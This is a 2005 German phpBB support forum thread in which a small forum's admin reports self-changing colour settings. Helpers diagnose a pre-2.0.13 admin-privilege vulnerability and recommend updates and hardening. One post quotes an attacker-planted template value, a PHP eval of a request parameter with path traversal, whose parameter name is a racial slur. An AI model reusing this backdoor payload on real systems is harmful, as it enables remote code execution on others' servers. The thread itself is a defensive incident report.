Einstellungen verändern sich

Hypnoseland · Beitrag von **Hypnoseland** » 14.04.2005 09:46

Wir haben unser Forum mit ihrer Forum - Software ausgestattet.
die funktioniert so weit auch ziemlich gut.
Aber seit Kurzem erleben wir ein seltsames Phänomen.
Die Schrift -farben verändern sich selbsttätig.
Die Einstellungen mussten mühsam händisch zurück gestellt werden, ( Farbcode einzeln eingeben)doch einige Tage später war die Schrift wieder verstellt.
Können sie uns da helfen?
Wie ist so was möglich?

Beitrag von **Markus67** » 14.04.2005 10:40

Hi ...

Wieviele User haben denn Adminrechte oder die FTP-Zugangsdaten? Und da werkelt wirklich sonst niemand rum der euch ärgern möchte ?

Wieviele Mitglieder hat das Forum ?

Markus

punkface · Beitrag von **punkface** » 14.04.2005 11:38

Hypnoseland-Forum hat geschrieben:Powered by phpBB 2.0.11

phpBB 2.0.12 erschienen
phpBB 2.0.13 erschienen

Bis Version 2.0.13 kann sich jeder Adminrechte verschaffen, und somit lustig die Einstellunge verändern, ein Update wär daher nicht schlecht.

siehe:
Update-Hilfe für den Fall dass keine MODs installiert sind

falls ihr MODs installiert habt:
[Tool] phpBB 2.0.11/12 to phpBB 2.0.13 Code Changes

Wenn nach dem Update im Adminbereich die falsche Versionsnummer angezeigt wird: Update der Versionsnummer

Als nächstes solltet ihr in der Datenbanktabelle phpbb_users (Prefix (phpbb_) kann bei euch ein anderer sein) schauen, welche Benutzer Userlevel 1 haben, und ggf. wieder auf 0 zurücksetzten.

Dann wär noch zu empfehlen, dass ihr hier den phpbb.com Newsletters bestellt, und auch in Zukunft öfters mal hier auf phpbb.de (vorallem im Forum Ankündigungen und Neuigkeiten) vorbei schaut, um euch über neue Updates zu informieren.

Und zum Schluss solltet ihr mal folgenden Beitrag durchlesen: So mache ich mein Board sicher

Ich glaub das war alles

Hypnoseland · Beitrag von **Hypnoseland** » 14.04.2005 11:40

Hallo Markus,

Danke für Deine schnelle Antwort

Unser Forum ist mit 72 Mitgliedern noch recht klein, davon haben 3 Personen Admin-Rechte, Elmar, ich und eine weitere Person.
Die FTP-Zugangsdaten hat außer uns beiden niemand.

Wir haben uns untereinander abgesprochen - niemand hat an der Farbgestaltung etwas verändert.
Installiert ist das Standard-Style SubSilver, bei dem wir die Farben von blau in grün verändert haben (ohne css, weil wir uns damit leider nicht auskennen).

Während ich eine Woche in Urlaub war, haben sich die Farben in dieser Zeit wie "von Geisterhand" verändert.
Auffällig ist, dass dabei die Standard-Schriftfarben von SubSilver wieder hergestellt wurden.

Ich habe am Montag alles mühevoll wieder gerichtet, wieder unsere üblich grüne Schrift eingestellt - seit heute Morgen sind wieder die Standardfarben von SubSilver da (Links blau, wenn man mit der Maus draufzeigt, orange, restl. kleine Schrift schwarz).

punkface · Beitrag von **punkface** » 14.04.2005 11:49

Für den Fall das ihr/du meinen Beitrag jetzt übersehen habt und jetzt die ganze Zeit auf eine Antwort von Markus wartet: http://www.phpbb.de/viewtopic.php?p=473715#473715

Hypnoseland · Beitrag von **Hypnoseland** » 14.04.2005 11:56

punkface hat geschrieben: Als nächstes solltet ihr in der Datenbanktabelle phpbb_users (Prefix (phpbb_) kann bei euch ein anderer sein) schauen, welche Benutzer Userlevel 1 haben, und ggf. wieder auf 0 zurücksetzten.

Hallo Punkface,

vielen Dank auch für Deine Antwort

Mit ein wenig Suchen hab ich doch tatsächlich diese Angaben in der Datenbank gefunden - interessant.

Bei den 3 Admins steht Userlevel 1, bei den Moderatoren steht Userlevel 2, alle übrigen normalen Mitglieder haben eine null darin stehen.

Muss es sich auf jeden Fall um eine manuelle Änderung gehandelt haben?
Komisch finde ich, dass bei 2 x verändern jeweils die gleichen Farben dabei rumkamen - nämlich die SubSilver Standardfarben

Hypnoseland · Beitrag von **Hypnoseland** » 14.04.2005 11:58

punkface hat geschrieben:Für den Fall das ihr/du meinen Beitrag jetzt übersehen habt und jetzt die ganze Zeit auf eine Antwort von Markus wartet: http://www.phpbb.de/viewtopic.php?p=473715#473715

Hallo Punkface,

unsere beiden Beiträge haben sich überschnitten. In den beiden Minuten, wo Deiner erschien, war ich an meinem noch am schreiben und hab Dir eben, während Du diesen Beitrag verfasst hast, auch schon geantwortet

punkface · Beitrag von **punkface** » 14.04.2005 12:16

Hypnoseland hat geschrieben:Bei den 3 Admins steht Userlevel 1, bei den Moderatoren steht Userlevel 2, alle übrigen normalen Mitglieder haben eine null darin stehen.

Wenn nur die drei Admins eine 1 bei Userlevel drin stehen haben, die von dir bestimmt sind, ist ja alles bestens, und kannst alles in der Datenbank so lassen wie es jetzt ist.

Hypnoseland hat geschrieben:Muss es sich auf jeden Fall um eine manuelle Änderung gehandelt haben?

Also wenn ich das richtig verstanden hab, gibt es bis Version 2.0.13 eine Sicherheitslücke die es jedem Benutzer erlaubt, durch anpassen des Cookies, Adminrechte zu bekommen. Der/Die jenige der/die das macht hat also Adminrechte, aber in der Datenbank steht nichts davon (von wegen Userlevel 1 und so). Nur wenn dieser Benutzer dann im Adminbereich sein eigene Befugnisse auf Admin stellt, hat er auch in der Datenbank das Userlevel 1 . Das heißt, auch wenn in der Datenbank alles so aussieht, als ob es nur die 3 von dir bestimmten Admins gibt, kann es trotzdem viel mehr Benutzer geben, die auch Adminrechte haben. (Falls ich da falsch liegen sollte, berichtigt mich) Deswegen ist ein Update wichtig.. siehe Links im ersten Beitrag.

unsere beiden Beiträge haben sich überschnitten. In den beiden Minuten, wo Deiner erschien, war ich an meinem noch am schreiben und hab Dir eben, während Du diesen Beitrag verfasst hast, auch schon geantwortet

Hypnoseland · Beitrag von **Hypnoseland** » 14.04.2005 13:12

Hallo nochmal,

mir ist noch etwas "Kurioses" aufgefallen.

Ich wollte soeben mal wieder die korrekten Farben wiederherstellen, als mir auffällt, dass unser zusätzliches Style "Classic" verschwunden ist und stattdessen 2 andere Styles da sind...

Eines davon kann zwar ausgewählt und bearbeitet/gelöscht werden, jedoch steht weder unter Style noch unter Template ein Name (diese beiden Felder sind leer).
Bei dem anderen, fremden Style steht unter Style der Name "FI Black" und bei Template steht

Code: Alles auswählen

aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp

Wenn man eines dieser beiden Styles auswählt, kann man sich mit seinem Usernamen anschließend nicht mehr einloggen, dann kommt als Fehlermeldung:

Code: Alles auswählen

phpBB : Kritischer Fehler 

Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file

DEBUG MODE

Line : 345
File : /home/xxxx/www/home/forum/includes/functions.php )

jemand mit Admin-Funktion muss dann im Profil desjenigen den Style wieder ändern.

Das war diese Tage genau so (hatte ich vorhin vergessen zu schreiben, fiel mir erst jetzt wieder ein, wo ich das beim Ändern wollen gesehen habe) - ich hatte beide Styles gelöscht und das Classic wieder hinzugefügt.

Beitrag von **Markus67** » 14.04.2005 13:49

Hi ...

Suche mal im Forum nach nigga ... da seid ihr nicht die ersten die es erwischt.
KB:gehackt.

Führe möglichst schnell das Update auf die 2.0.13 durch wie von Punkface schon beschrieben.

Zusätzlich solltest du das hier installieren ...
Zusätzlicher Schutz des phpBB-Verzeichnisses durch .htaccess

Hast du irgendwelche MOD's in das Forum eingebaut ?

Markus